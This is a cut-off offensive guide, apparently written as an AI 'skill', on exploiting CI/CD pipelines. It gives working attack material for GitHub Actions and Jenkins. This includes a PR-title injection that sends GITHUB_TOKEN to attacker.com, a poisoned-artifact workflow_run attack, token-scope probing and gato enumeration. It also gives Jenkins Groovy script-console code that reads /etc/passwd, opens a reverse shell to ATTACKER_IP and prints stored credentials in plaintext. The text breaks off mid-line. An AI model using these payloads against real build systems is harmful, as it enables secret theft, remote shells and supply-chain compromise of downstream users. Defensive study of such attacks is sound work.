offensive-cicd-pipeline

# Offensive CI/CD Pipeline Exploitation

CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised
pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability
to inject malicious code into production artifacts. You exploit the implicit trust that organizations
place in their build systems -- pipelines run code with elevated privileges, hold secrets for
deployment, and operate with minimal monitoring compared to production systems.

This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline
configurations, identify injection points, escalate from contributor-level access to arbitrary code
execution, and leverage pipeline trust to move laterally through environments.

MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

## Quick Workflow

1. Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
2. Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
3. Map token scopes and available secrets for each pipeline context.
4. Select the injection vector matching your access level (contributor, external PR, authenticated user).
5. Craft the payload for the target platform's expression language or script engine.
6. Execute and capture output -- secrets, tokens, or artifact modification.
7. Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.

---

## GitHub Actions Expression Injection

GitHub Actions evaluates expressions in `${{ }}` contexts. When attacker-controlled data flows into
these expressions without sanitization, you achieve arbitrary command injection in the runner context.

The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
that flow into `run:` steps or action inputs.

Identify vulnerable workflows by searching for direct interpolation of event data:

```bash
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
```

A vulnerable workflow looks like this:

```yaml
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for PR: ${{ github.event.pull_request.title }}"
```

You inject through the PR title:

```text
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
```

For `workflow_run` abuse, a workflow triggered by `workflow_run` runs in the context of the default
branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a
PR workflow, then the `workflow_run` workflow processes it with elevated privileges:

```yaml
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
  with:
    name: pr-data
    path: payload.sh

# The workflow_run handler in the default branch processes artifacts unsafely
on:
  workflow_run:
    workflows: ["PR Build"]
    types: [completed]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
      - run: bash pr-data/payload.sh  # Executes attacker's code with write access
```

Enumerate GITHUB_TOKEN permissions to understand your execution scope:

```bash
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'

# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
```

Composite action supply chain attacks target reusable actions referenced without SHA pinning:

```yaml
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1

# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
```

Use gato to enumerate and exploit GitHub Actions misconfigurations:

```bash
# Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org

# Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg
```

---

## Jenkins Exploitation

Jenkins presents a broad attack surface through its script console, build configurations, shared
libraries, and the Java remoting protocol. You target Jenkins when you discover it exposed on the
network or when you obtain any level of authenticated access.

### Groovy Script Console RCE

If you have access to the script console (requires Overall/RunScripts permission), you have
unrestricted code execution on the Jenkins controller:

```groovy
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text

// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each { c ->
    println("ID: ${c.id}")
    println("Username: ${c.username}")
    println("Password: ${c.password.plainText}")
    prin